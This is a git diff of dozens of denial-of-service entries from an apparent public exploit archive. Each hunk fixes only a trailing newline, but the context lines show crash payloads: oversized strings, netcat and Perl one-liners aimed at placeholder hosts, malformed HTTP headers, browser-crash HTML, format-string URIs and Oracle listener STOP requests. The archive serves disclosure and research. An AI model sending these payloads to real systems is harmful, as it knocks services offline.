b/platforms/multiple/dos/21911.txt @@ -13,4 +13,4 @@ GET /example.html/ HTTP/1.1 host: host name Transfer-Encoding: chunked <ENTER> -<ENTER> \ No newline at end of file +<ENTER> \ No newline at end of file diff --git a/platforms/multiple/dos/22010.txt b/platforms/multiple/dos/22010.txt index d9c33ed43..16be770b7 100755 --- a/platforms/multiple/dos/22010.txt +++ b/platforms/multiple/dos/22010.txt @@ -4,4 +4,4 @@ A buffer overflow vulnerability has been reported for the Hotfoon dialer. The vu It is possible to crash the service and execute code. -Voice:aaaaaa.........76 a's \ No newline at end of file +Voice:aaaaaa.........76 a's \ No newline at end of file diff --git a/platforms/multiple/dos/22441.txt b/platforms/multiple/dos/22441.txt index ac6fdd0a5..12ae39827 100755 --- a/platforms/multiple/dos/22441.txt +++ b/platforms/multiple/dos/22441.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability by creating a malicious JavaScript pa <script language="Javascript"> t = new Packages.sun.plugin.javascript.navig5.JSObject(1,1); -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/multiple/dos/22505.txt b/platforms/multiple/dos/22505.txt index d970bdf1a..e3c9c1750 100755 --- a/platforms/multiple/dos/22505.txt +++ b/platforms/multiple/dos/22505.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7375/info A vulnerability has been reported for the mod_access_referer Apache module. The problem occurs when parsing invalid HTTP referer header fields. If this vulnerability were to be triggered, it may be possible to trigger a NULL pointer dereference, effectively causing Apache to segfault. -Referer: ://its-missing-http.com \ No newline at end of file +Referer: ://its-missing-http.com \ No newline at end of file diff --git a/platforms/multiple/dos/22512.txt b/platforms/multiple/dos/22512.txt index d410b31e2..82d41ecae 100755 --- a/platforms/multiple/dos/22512.txt +++ b/platforms/multiple/dos/22512.txt @@ -7,4 +7,4 @@ The vulnerability occurs due to a lack of sufficient bounds checking performed o This vulnerability is reported to affect mod_ntlm <= v0.4 for Apache 1.3 and mod_ntlmv2 version 0.1 for Apache 2.0. GET / HTTP/1.0 -Authorization: [Ax3000] \ No newline at end of file +Authorization: [Ax3000] \ No newline at end of file diff --git a/platforms/multiple/dos/22535.txt b/platforms/multiple/dos/22535.txt index 5538c0114..d068ca816 100755 --- a/platforms/multiple/dos/22535.txt +++ b/platforms/multiple/dos/22535.txt @@ -6,4 +6,4 @@ The system must be restarted to restore regularly functionality. Transmit 90 packets to the target server, each containing the following data: -GET /xxx...[100]..xxx.htm HTTP/1.0, \ No newline at end of file +GET /xxx...[100]..xxx.htm HTTP/1.0, \ No newline at end of file diff --git a/platforms/multiple/dos/22536.txt b/platforms/multiple/dos/22536.txt index dfee9c53f..9584f2da3 100755 --- a/platforms/multiple/dos/22536.txt +++ b/platforms/multiple/dos/22536.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7430/info Allegedly, a vulnerability exists in Opera 7.10 that may result in a denial of service. The problem reportedly occurs when processing a 'news:' URL of excessive length. It has been reported that this issue will trigger a condition that will prevent Opera from functioning until the program has been reinstalled. -news:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... \ No newline at end of file +news:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... \ No newline at end of file diff --git a/platforms/multiple/dos/22634.txt b/platforms/multiple/dos/22634.txt index 21478a166..88a7e6058 100755 --- a/platforms/multiple/dos/22634.txt +++ b/platforms/multiple/dos/22634.txt @@ -6,4 +6,4 @@ Note that this malicious script must be a legitimate plugin that has been upload insstr("aaaaaaaaaaa", "bb", 3, 0xfffffffd); scanner_add_port(port : 80, proto : crap(data:'A', length:300)); -ftp_log_in (socket : open_sock_tcp(21), pass : "11", user:crap (data:'A',length:8192) ); \ No newline at end of file +ftp_log_in (socket : open_sock_tcp(21), pass : "11", user:crap (data:'A',length:8192) ); \ No newline at end of file diff --git a/platforms/multiple/dos/22650.py b/platforms/multiple/dos/22650.py index a867e6023..487e7ef90 100755 --- a/platforms/multiple/dos/22650.py +++ b/platforms/multiple/dos/22650.py @@ -27,4 +27,4 @@ conn.request(met, "/"+spl) r1 = conn.getresponse() print r1.status -}--------- end of fadvWWhtdos.py ---------------{ \ No newline at end of file +}--------- end of fadvWWhtdos.py ---------------{ \ No newline at end of file diff --git a/platforms/multiple/dos/23050.txt b/platforms/multiple/dos/23050.txt index 5e77134ad..707a98a0b 100755 --- a/platforms/multiple/dos/23050.txt +++ b/platforms/multiple/dos/23050.txt @@ -5,4 +5,4 @@ It has been reported that a buffer overflow condition exists in the Avant Browse This issue may cause an attack to run arbitrary code on a host in the context of the user running the vulnerable version of Avant Browser. http://AAAAAAA[more 780 chars] -<a href="http://AAA[more 780 chars]">aaa</a> \ No newline at end of file +<a href="http://AAA[more 780 chars]">aaa</a> \ No newline at end of file diff --git a/platforms/multiple/dos/23051.txt b/platforms/multiple/dos/23051.txt index 5a0057e91..c31299e8f 100755 --- a/platforms/multiple/dos/23051.txt +++ b/platforms/multiple/dos/23051.txt @@ -14,4 +14,4 @@ b) 0x89, 0x77, 0x13, 0x86, 0x3d to port 9201 (Connection-orientated non WTLS) To Cause Out Of Memory Send the following over the specified listening ports: -a) 0xa6, 0x09, 0x5d to port 9201 (Connection-orientated non WTLS) \ No newline at end of file +a) 0xa6, 0x09, 0x5d to port 9201 (Connection-orientated non WTLS) \ No newline at end of file diff --git a/platforms/multiple/dos/23142.txt b/platforms/multiple/dos/23142.txt index adc0a228e..c96221d8d 100755 --- a/platforms/multiple/dos/23142.txt +++ b/platforms/multiple/dos/23142.txt @@ -6,4 +6,4 @@ It has been reported that the condition may be triggered remotely when a malicio This vulnerability has been reported to affect WideChapter version 3, and prior versions. -[script]window.open(http://AAA.. [Ax517])[/script] \ No newline at end of file +[script]window.open(http://AAA.. [Ax517])[/script] \ No newline at end of file diff --git a/platforms/multiple/dos/23292.java b/platforms/multiple/dos/23292.java index d0ca5b068..0057e3740 100755 --- a/platforms/multiple/dos/23292.java +++ b/platforms/multiple/dos/23292.java @@ -15,4 +15,4 @@ public static void main(String[] a) { InSecurityManager m = new InSecurityManager(); m.doit(); } -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/multiple/dos/23390.txt b/platforms/multiple/dos/23390.txt index 5cd17e474..4c40909cf 100755 --- a/platforms/multiple/dos/23390.txt +++ b/platforms/multiple/dos/23390.txt @@ -17,4 +17,4 @@ telnet>close telnet>quit hacker# -Crash service \ No newline at end of file +Crash service \ No newline at end of file diff --git a/platforms/multiple/dos/23590.txt b/platforms/multiple/dos/23590.txt index 49292406d..4cbcf6045 100755 --- a/platforms/multiple/dos/23590.txt +++ b/platforms/multiple/dos/23590.txt @@ -8,4 +8,4 @@ strings like: GET index.htm without specify the HTTP* at the end of the GET request, and where -the requested file must be avaible in the public_html directory. \ No newline at end of file +the requested file must be avaible in the public_html directory. \ No newline at end of file diff --git a/platforms/multiple/dos/24242.java b/platforms/multiple/dos/24242.java index e62833b9a..f2e24ea4d 100755 --- a/platforms/multiple/dos/24242.java +++ b/platforms/multiple/dos/24242.java @@ -74,4 +74,4 @@ public class FontIPSClass extends Applet{ } -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/multiple/dos/24247.txt b/platforms/multiple/dos/24247.txt index 9f18d0cf2..89596b375 100755 --- a/platforms/multiple/dos/24247.txt +++ b/platforms/multiple/dos/24247.txt @@ -10,4 +10,4 @@ An example of a long username URI: http://www.example.com/chat.ghp?username=aaaa[ 295 of a ]aaaa&password=&room=1&sex=0 An example of creating a fake user: -http://www.example.com/chat.ghp?username=FakeUser&password=&room=1&sex=0 \ No newline at end of file +http://www.example.com/chat.ghp?username=FakeUser&password=&room=1&sex=0 \ No newline at end of file diff --git a/platforms/multiple/dos/24283.txt b/platforms/multiple/dos/24283.txt index 812acdebd..c98420162 100755 --- a/platforms/multiple/dos/24283.txt +++ b/platforms/multiple/dos/24283.txt @@ -8,4 +8,4 @@ Version 1.1.10.0 is reported vulnerable. Prior versions may also contain these v list 99999999999999999999999 retr 99999999999999999999999 -uidl 98409583490583409539405 \ No newline at end of file +uidl 98409583490583409539405 \ No newline at end of file diff --git a/platforms/multiple/dos/24394.txt b/platforms/multiple/dos/24394.txt index c4d5c81a7..72cd4d3aa 100755 --- a/platforms/multiple/dos/24394.txt +++ b/platforms/multiple/dos/24394.txt @@ -8,4 +8,4 @@ This issue affects Opera 7.23 for Microsoft Windows; other versions are also lik <scr1pt> document.getElementsByTagName("script")[0].text = ""; -</scr1pt> \ No newline at end of file +</scr1pt> \ No newline at end of file diff --git a/platforms/multiple/dos/24423.txt b/platforms/multiple/dos/24423.txt index f92dcd12b..f9826d64f 100755 --- a/platforms/multiple/dos/24423.txt +++ b/platforms/multiple/dos/24423.txt @@ -6,4 +6,4 @@ A remote attacker may cause a denial of service condition in the proxy leading t Cerbère Proxy 1.2 is reported prone to this issue, however, other versions may be affected as well. -perl -e 'print "GET / HTTP/1.1\r\n" . "Host: " . "A" x 90000 . "\r\n" . "\r\n\r\n" ' | nc "Proxy_IP" 3128 \ No newline at end of file +perl -e 'print "GET / HTTP/1.1\r\n" . "Host: " . "A" x 90000 . "\r\n" . "\r\n\r\n" ' | nc "Proxy_IP" 3128 \ No newline at end of file diff --git a/platforms/multiple/dos/25056.html b/platforms/multiple/dos/25056.html index e2c50086f..47f8f204a 100755 --- a/platforms/multiple/dos/25056.html +++ b/platforms/multiple/dos/25056.html @@ -6,4 +6,4 @@ Netscape Navigator is prone to a vulnerability that may result in a browser cras <HTML> <SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT> <SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT> -</HTML> \ No newline at end of file +</HTML> \ No newline at end of file diff --git a/platforms/multiple/dos/25165.c b/platforms/multiple/dos/25165.c index c960d18d4..751d1523f 100755 --- a/platforms/multiple/dos/25165.c +++ b/platforms/multiple/dos/25165.c @@ -70,4 +70,4 @@ void help(char *program_name) { printf("\t-=[ Coded by ders -/www.x0n3-h4ck.org\\- ]=-\n\n"); printf("Usage: %s <Host> <Port>\n",program_name); -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/multiple/dos/25393.txt b/platforms/multiple/dos/25393.txt index 945aaec93..f2958c820 100755 --- a/platforms/multiple/dos/25393.txt +++ b/platforms/multiple/dos/25393.txt @@ -4,4 +4,4 @@ An insecure default password disclosure vulnerability affects XAMPP. This issue An attacker may leverage this issue to gain access to the default passwords for many utilities installed by the affected application, including the MySQL 'root' user, the phpMyAdmin 'pma' user, the FTP 'nobody' user and the Tomcat administrator. -http://www.example.com/xampp/security.php \ No newline at end of file +http://www.example.com/xampp/security.php \ No newline at end of file diff --git a/platforms/multiple/dos/25470.txt b/platforms/multiple/dos/25470.txt index 2bfefc03d..44aed3661 100755 --- a/platforms/multiple/dos/25470.txt +++ b/platforms/multiple/dos/25470.txt @@ -10,4 +10,4 @@ A remote attacker may exploit this condition crash the software and effectively 4500 0040 5df3 4000 4006 226e c0a8 1c85 c0a8 1c81 8003 eff3 90a8 d150 7cda 8afa 8018 16d0 daab 0000 0101 080a 0000 8cbe -0000 0000 6352 0100 0000 0000 0000 0000 \ No newline at end of file +0000 0000 6352 0100 0000 0000 0000 0000 \ No newline at end of file diff --git a/platforms/multiple/dos/26325.txt b/platforms/multiple/dos/26325.txt index 1c8b7fd2c..0b216aaf4 100755 --- a/platforms/multiple/dos/26325.txt +++ b/platforms/multiple/dos/26325.txt @@ -8,4 +8,4 @@ A successful attack may result in crashing the application, or consuming excessi It should be noted that this issue was reported to affect Firefox 1.0.6 and 1.0.7 running on Linux. Other versions running on different platforms may be vulnerable as well. -IFRAME WIDTH=33333333 \ No newline at end of file +IFRAME WIDTH=33333333 \ No newline at end of file diff --git a/platforms/multiple/dos/26331.txt b/platforms/multiple/dos/26331.txt index a455dbe12..d526fcf60 100755 --- a/platforms/multiple/dos/26331.txt +++ b/platforms/multiple/dos/26331.txt @@ -8,4 +8,4 @@ This issue was reported in Oracle Database version 9.0.2.4; other versions may a These issues was originally described and addressed in Oracle Critical Patch Update - July 2005, BID 14238 (Oracle July Security Update Multiple Vulnerabilities). Due to the availability of more information, these issues are being assigned a separate BID. -http://www.example.com:3339/isqlplus?username=s&password=s&sid=%28DESCRIPTION%3D%28ADDRESS_LIST%3D%28ADDRESS%3D%28PROTOCOL%3DTCP%29%28HOST%3Dlocalhost%29%28PORT%3D1521%29%29%29%28CONNECT_DATA%3D%28COMMAND%3DSTOP%29%28SERVICE%3DLISTENER%29%28USER%3DHacker%29%29%29&login=Login&action=logon \ No newline at end of file +http://www.example.com:3339/isqlplus?username=s&password=s&sid=%28DESCRIPTION%3D%28ADDRESS_LIST%3D%28ADDRESS%3D%28PROTOCOL%3DTCP%29%28HOST%3Dlocalhost%29%28PORT%3D1521%29%29%29%28CONNECT_DATA%3D%28COMMAND%3DSTOP%29%28SERVICE%3DLISTENER%29%28USER%3DHacker%29%29%29&login=Login&action=logon \ No newline at end of file diff --git a/platforms/multiple/dos/26336.txt b/platforms/multiple/dos/26336.txt index 298452c03..e8169db73 100755 --- a/platforms/multiple/dos/26336.txt +++ b/platforms/multiple/dos/26336.txt @@ -8,4 +8,4 @@ This issue was reported in Oracle Forms versions prior to July 2005. This issue was originally described and addressed in Oracle Critical Patch Update - July 2005, BID 14238 (Oracle July Security Update Multiple Vulnerabilities). Due to the availability of more information, this issue is being assigned a separate BID. -http://www.example.com:8888/forms90/f90servlet?form=test.fmx&userid=SCOTT/TIGER@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=server)(PORT=1521)))(CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)))&buffer_records=NO&debug_messages=NO&array=YES&query_only=NO&quiet=NO&RENDER=YES \ No newline at end of file +http://www.example.com:8888/forms90/f90servlet?form=test.fmx&userid=SCOTT/TIGER@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=server)(PORT=1521)))(CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)))&buffer_records=NO&debug_messages=NO&array=YES&query_only=NO&quiet=NO&RENDER=YES \ No newline at end of file diff --git a/platforms/multiple/dos/26967.txt b/platforms/multiple/dos/26967.txt index 69c79bde2..56d050629 100755 --- a/platforms/multiple/dos/26967.txt +++ b/platforms/multiple/dos/26967.txt @@ -8,4 +8,4 @@ The second issue may allow remote attackers to crash an instance of the applicat httprint version 202 is vulnerable to these issues. -SecServerSignature "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."x1500 \ No newline at end of file +SecServerSignature "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."x1500 \ No newline at end of file diff --git a/platforms/multiple/dos/27026.txt b/platforms/multiple/dos/27026.txt index fd09562e0..ec3f2cbba 100755 --- a/platforms/multiple/dos/27026.txt +++ b/platforms/multiple/dos/27026.txt @@ -28,4 +28,4 @@ html.write("<html><head>\n" 'http://www.mozilla.org')\" >\n" "</body></html>") -html.close() \ No newline at end of file +html.close() \ No newline at end of file diff --git a/platforms/multiple/dos/27171.txt b/platforms/multiple/dos/27171.txt index c8652a64f..e0b749b0e 100755 --- a/platforms/multiple/dos/27171.txt +++ b/platforms/multiple/dos/27171.txt @@ -6,4 +6,4 @@ This issue allows remote attackers to crash the application, denying service to Sample Python code has been provided by Evgeny Legerov that may demonstrate this issue: -from socket import * \ No newline at end of file +from socket import * \ No newline at end of file diff --git a/platforms/multiple/dos/28542.pl b/platforms/multiple/dos/28542.pl index 4c3c5246d..d66fbc345 100755 --- a/platforms/multiple/dos/28542.pl +++ b/platforms/multiple/dos/28542.pl @@ -31,4 +31,4 @@ else { print "Cannot connect to $ARGV[0]:23\n"; } -# __END_CODE \ No newline at end of file +# __END_CODE \ No newline at end of file diff --git a/platforms/multiple/dos/29875.py b/platforms/multiple/dos/29875.py index 9795b37ca..c51744daa 100755 --- a/platforms/multiple/dos/29875.py +++ b/platforms/multiple/dos/29875.py @@ -26,4 +26,4 @@ yourself! Don't bug me with this shit. /* Vendor contacted? */ NO! Why should I contact them? :) lol, go away and contact them yourself. -/* EOF */ \ No newline at end of file +/* EOF */ \ No newline at end of file diff --git a/platforms/multiple/dos/30187.txt b/platforms/multiple/dos/30187.txt index 5d9276d97..819cc5fef 100755 --- a/platforms/multiple/dos/30187.txt +++ b/platforms/multiple/dos/30187.txt @@ -8,4 +8,4 @@ Successful exploits may allow remote attackers to execute arbitrary code in the AppWeb 2.2.2 is reported vulnerable; other versions may also be affected. -'GET %n://localhost:80/" request' \ No newline at end of file +'GET %n://localhost:80/" request' \ No newline at end of file diff --git a/platforms/multiple/dos/30527.txt b/platforms/multiple/dos/30527.txt index 9519c2e9f..cd792ef69 100755 --- a/platforms/multiple/dos/30527.txt +++ b/platforms/multiple/dos/30527.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues to execute arbitrary code within the contex Vavoom 1.24 is vulnerable; prior versions may also be affected. -For the denial-of-service vulnerability, the attacker sends a packet to UDP port 26000 containing the following hexadecimal bytes: 80 02 ff 00 \ No newline at end of file +For the denial-of-service vulnerability, the attacker sends a packet to UDP port 26000 containing the following hexadecimal bytes: 80 02 ff 00 \ No newline at end of file diff --git a/platforms/multiple/dos/30644.txt b/platforms/multiple/dos/30644.txt index db8867977..7bacef178 100755 --- a/platforms/multiple/dos/30644.txt +++ b/platforms/multiple/dos/30644.txt @@ -6,4 +6,4 @@ Exploiting these issues will allow attackers to execute arbitrary code with the These issues affect Dawn of Time 1.69s beta4 and 1.69r; other versions may also be affected. -http://%n%n%n%n%n:%n%n%n%n%n@www.example.com:4001/locked \ No newline at end of file +http://%n%n%n%n%n:%n%n%n%n%n@www.example.com:4001/locked \ No newline at end of file diff --git a/platforms/multiple/dos/30814.txt b/platforms/multiple/dos/30814.txt index 12b177b29..603d56a5c 100755 --- a/platforms/multiple/dos/30814.txt +++ b/platforms/multiple/dos/30814.txt @@ -8,4 +8,4 @@ Skype 3.6.0.216 for Microsoft Windows is vulnerable to this issue; other version The following URI is sufficient to trigger this issue: -skype:?voicemail \ No newline at end of file +skype:?voicemail \ No newline at end of file diff --git a/platforms/multiple/dos/30885.txt b/platforms/multiple/dos/30885.txt index 8b49d9c37..832a15905 100755 --- a/platforms/multiple/dos/30885.txt +++ b/platforms/multiple/dos/30885.txt @@ -10,4 +10,4 @@ HELO ../A/ * 950 MAIL FROM: ../A/ * 950 RCPT TO: ../A/ * 950 data -../A/ * 950 \ No newline at end of file +../A/ * 950 \ No newline at end of file diff --git a/platforms/multiple/dos/31100.txt b/platforms/multiple/dos/31100.txt index 2032ff867..bdfb42dd4 100755 --- a/platforms/multiple/dos/31100.txt +++ b/platforms/multiple/dos/31100.txt @@ -6,4 +6,4 @@ Successful exploits allow remote attackers to execute arbitrary code in the cont Versions prior to Anon Proxy Server 0.103 are vulnerable to this issue. -print "A" x 430 . '"' x 29 . "A" x 40 . "\n" \ No newline at end of file +print "A" x 430 . '"' x 29 . "A" x 40 . "\n" \ No newline at end of file diff --git a/platforms/multiple/dos/31203.txt b/platforms/multiple/dos/31203.txt index c4dbce58e..027f3ac87 100755 --- a/platforms/multiple/dos/31203.txt +++ b/platforms/multiple/dos/31203.txt @@ -8,4 +8,4 @@ Firefox 2.0.0.12 is vulnerable; other versions may also be affected. <iframe id="x" src="javascript:document.location='\x00res://'" width="100%" height="200"></iframe> <iframe id="y" src="javascript:document.location='\x00about:config'" width="100%" height="200"></iframe> -<iframe id="z" src="javascript:document.location='\x00file:///'" width="100%" height="200"></iframe> \ No newline at end of file +<iframe id="z" src="javascript:document.location='\x00file:///'" width="100%" height="200"></iframe> \ No newline at end of file diff --git a/platforms/multiple/dos/31378.txt b/platforms/multiple/dos/31378.txt index acec98496..4fb0abbad 100755 --- a/platforms/multiple/dos/31378.txt +++ b/platforms/multiple/dos/31378.txt @@ -7,4 +7,4 @@ Exploiting this issue will cause the server to copy data to a NULL pointer, whic This issue affects RemotelyAnywhere Server and Workstation 8.0.688; other versions may also be affected. GET / HTTP/1.1 -Accept-Charset: boom \ No newline at end of file +Accept-Charset: boom \ No newline at end of file diff --git a/platforms/multiple/dos/31477.txt b/platforms/multiple/dos/31477.txt index 843ce9617..7e312c7da 100755 --- a/platforms/multiple/dos/31477.txt +++ b/platforms/multiple/dos/31477.txt @@ -6,4 +6,4 @@ Successfully exploiting this issue allows remote attackers to crash the applicat This issue affects versions up to and including 'snircd' 1.3.4 and 'ircu' 2.10.12.12. -/mode nickname i i i i i i i i i i i i i i i r r r r s \ No newline at end of file +/mode nickname i i i i i i i i i i i i i i i r r r r s \ No newline at end of file diff --git a/platforms/multiple/dos/31785.txt b/platforms/multiple/dos/31785.txt index 093b45ae2..bac39cafb 100755 --- a/platforms/multiple/dos/31785.txt +++ b/platforms/multiple/dos/31785.txt @@ -6,4 +6,4 @@ Successful exploits allow remote attackers to cause computers to consume excessi Microsoft Windows XP, Microsoft Windows Server 2003, and Linux are prone to these issues. Other operating systems may also be affected. -for /L %k in (0, 1, 9999) DO for /L %i in (0, 1, 9999) DO netsh interface ipv6 add route 2001:db8:%k:%i::/64 "Local Area Connection" publish=yes \ No newline at end of file +for /L %k in (0, 1, 9999) DO for /L %i in (0, 1, 9999) DO netsh interface ipv6 add route 2001:db8:%k:%i::/64 "Local Area Connection" publish=yes \ No newline at end of file diff --git a/platforms/multiple/dos/31999.txt b/platforms/multiple/dos/31999.txt index 6969ae8a7..495430fab 100755 --- a/platforms/multiple/dos/31999.txt +++ b/platforms/multiple/dos/31999.txt @@ -11,4 +11,4 @@ The following 'ldapadd' entry is sufficient to trigger the issue: dn: globalGroupName=GlobalAdminGroup,cn=ibmpolicies globalGroupName: GlobalAdminGroup objectclass: top -objectclass: ibm-globalAdminGroup \ No newline at end of file +objectclass: ibm-globalAdminGroup \ No newline at end of file diff --git a/platforms/multiple/dos/32193.txt b/platforms/multiple/dos/32193.txt index cb6181694..0117ff39b 100755 --- a/platforms/multiple/dos/32193.txt +++ b/platforms/multiple/dos/32193.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to execute arbitrary code in the context of the We were not told which versions are affected. We will update this BID as more information emerges. -echo `perl -e 'print "a"x1000'` | nc -v victim.example.com 79 \ No newline at end of file +echo `perl -e 'print "a"x1000'` | nc -v victim.example.com 79 \ No newline at end of file diff --git a/platforms/multiple/dos/32194.txt b/platforms/multiple/dos/32194.txt index 21a52ce6d..810d507d6 100755 --- a/platforms/multiple/dos/32194.txt +++ b/platforms/multiple/dos/32194.txt @@ -8,4 +8,4 @@ NoticeWare Email Server NG 4.6.2 and 4.6.3 are vulnerable; other versions may al The following exploit example is available: -A001 LOGIN Ax5000 AAAAA \ No newline at end of file +A001 LOGIN Ax5000 AAAAA \ No newline at end of file diff --git a/platforms/multiple/dos/32195.txt b/platforms/multiple/dos/32195.txt index b98f718ac..0444662c1 100755 --- a/platforms/multiple/dos/32195.txt +++ b/platforms/multiple/dos/32195.txt @@ -8,4 +8,4 @@ WinGate 6.2.2 is vulnerable; other versions may also be affected. The following example command is available: -LIST Ax1000 * \ No newline at end of file +LIST Ax1000 * \ No newline at end of file diff --git a/platforms/multiple/dos/32310.txt b/platforms/multiple/dos/32310.txt index e069c2543..4abbe1751 100755 --- a/platforms/multiple/dos/32310.txt +++ b/platforms/multiple/dos/32310.txt @@ -7,4 +7,4 @@ Given the nature of this issue, attackers may also be able to run arbitrary code Softalk Mail Server 8.5.1 is vulnerable; other versions may also be affected. -APPEND Ax5000 (UIDNEXT MESSAGES) \ No newline at end of file +APPEND Ax5000 (UIDNEXT MESSAGES) \ No newline at end of file diff --git a/platforms/multiple/dos/32311.html b/platforms/multiple/dos/32311.html index bca675f53..0963292f3 100755 --- a/platforms/multiple/dos/32311.html +++ b/platforms/multiple/dos/32311.html @@ -8,4 +8,4 @@ Google Chrome 0.2.149.27 is vulnerable; other versions may also be affected. NOTE: Reports indicate that this issue may not be exploitable as described and may depend on a particular WebKit configuration. -<!-- Chrome(0.2.149.27) title attribute Denial of Service(Freeze) exploit Exploit written by Exodus. http://www.blackhat.org.il http://www.blackhat.org.il/index.php/ready-set-chrome/ http://www.blackhat.org.il/exploits/chrome-freeze-exploit.html --> <HTML> <HEAD> <TITLE> Chrome(0.2.149.27) title attribute Denial of Service(Freeze) exploit</TITLE> <SCRIPT language="JavaScript"> function buff(len) { var buffer; for(var i = 0; i != len; i++) { buffer += 'E';} return buffer; } </SCRIPT> </HEAD> <SCRIPT> document.write('<body title=\"' + buff(31337) + '\">'); </SCRIPT> </BODY> </HTML> \ No newline at end of file +<!-- Chrome(0.2.149.27) title attribute Denial of Service(Freeze) exploit Exploit written by Exodus. http://www.blackhat.org.il http://www.blackhat.org.il/index.php/ready-set-chrome/ http://www.blackhat.org.il/exploits/chrome-freeze-exploit.html --> <HTML> <HEAD> <TITLE> Chrome(0.2.149.27) title attribute Denial of Service(Freeze) exploit</TITLE> <SCRIPT language="JavaScript"> function buff(len) { var buffer; for(var i = 0; i != len; i++) { buffer += 'E';} return buffer; } </SCRIPT> </HEAD> <SCRIPT> document.write('<body title=\"' + buff(31337) + '\">'); </SCRIPT> </BODY> </HTML> \ No newline at end of file diff --git a/platforms/multiple/dos/32400.html b/platforms/multiple/dos/32400.html index 8d7fe3a03..8c0b35bc0 100755 --- a/platforms/multiple/dos/32400.html +++ b/platforms/multiple/dos/32400.html @@ -6,4 +6,4 @@ Successfully exploiting this issue will allow an attacker to execute arbitrary c Foxmail Email Client 6.5 is vulnerable; other versions may also be affected. -<html> <body> <P>Author:friddy QQ:568623 <P>Result:Program Crash <BR> <A href="mailto:A%...............................................................................................................AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com">ClickME</a> >Clickme</A> </body> </html> \ No newline at end of file +<html> <body> <P>Author:friddy QQ:568623 <P>Result:Program Crash <BR> <A href="mailto:A%...............................................................................................................AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com">ClickME</a> >Clickme</A> </body> </html> \ No newline at end of file diff --git a/platforms/multiple/dos/32581.txt b/platforms/multiple/dos/32581.txt index a9e34f7cc..b0a2d3e04 100755 --- a/platforms/multiple/dos/32581.txt +++ b/platforms/multiple/dos/32581.txt @@ -10,4 +10,4 @@ To halt the application: raise SystemExit To consume excessive resources: -return 'foo'.encode('test.testall') \ No newline at end of file +return 'foo'.encode('test.testall') \ No newline at end of file diff --git a/platforms/multiple/dos/32596.txt b/platforms/multiple/dos/32596.txt index ad8a174ff..7f97fba20 100755 --- a/platforms/multiple/dos/32596.txt +++ b/platforms/multiple/dos/32596.txt @@ -8,4 +8,4 @@ This issue affects versions prior to GeSHi 1.0.8. The following example exploit is available: -< \ No newline at end of file +< \ No newline at end of file diff --git a/platforms/multiple/dos/32712.txt b/platforms/multiple/dos/32712.txt index c8923ff7a..4b0f33152 100755 --- a/platforms/multiple/dos/32712.txt +++ b/platforms/multiple/dos/32712.txt @@ -8,4 +8,4 @@ WebSphere DataPower XML Security Gateway XS40 with firmware 3.6.1.5 is affected; The following string is sufficient to trigger this issue: -?abc? \ No newline at end of file +?abc? \ No newline at end of file diff --git a/platforms/multiple/dos/32836.html b/platforms/multiple/dos/32836.html index 200257f32..bf34a923a 100755 --- a/platforms/multiple/dos/32836.html +++ b/platforms/multiple/dos/32836.html @@ -6,4 +6,4 @@ Successful exploits can allow attackers to crash the affected browser, resulting Firefox 2.0.0.20 is vulnerable; other versions may also be affected. -<HTML><TITLE>FireFox Print() Function Malform input Crash</TITLE><BODY> <p1>--------------In The Name Of God---------------<br> <p1>---------Apa Center Of Yazd University---------<br> <p1>-------------Http://Www.Ircert.Cc--------------<br> <br>Tested On : FireFox <= 2.0.0.20 Fully Update <br>Note : If the browser alert for print choose cancel <br> <br>Author : b3hz4d (Seyed Behzad Shaghasemi) <br>Site : Www.DeltaHacking.Net <br>Date : 3 Mar 2009 <br>Contact: behzad_sh_66@yahoo.com <br>Special Thanks To : Str0ke, Dr.trojan, Cru3l.b0y, PLATEN, Bl4ck.Viper, Irsdl And all Iranian hackers </p1><br><br> <form> <input type="button" value="bo0o0o0om" onClick="window.print(window.print())" /> </form> </BODY></HTML> \ No newline at end of file +<HTML><TITLE>FireFox Print() Function Malform input Crash</TITLE><BODY> <p1>--------------In The Name Of God---------------<br> <p1>---------Apa Center Of Yazd University---------<br> <p1>-------------Http://Www.Ircert.Cc--------------<br> <br>Tested On : FireFox <= 2.0.0.20 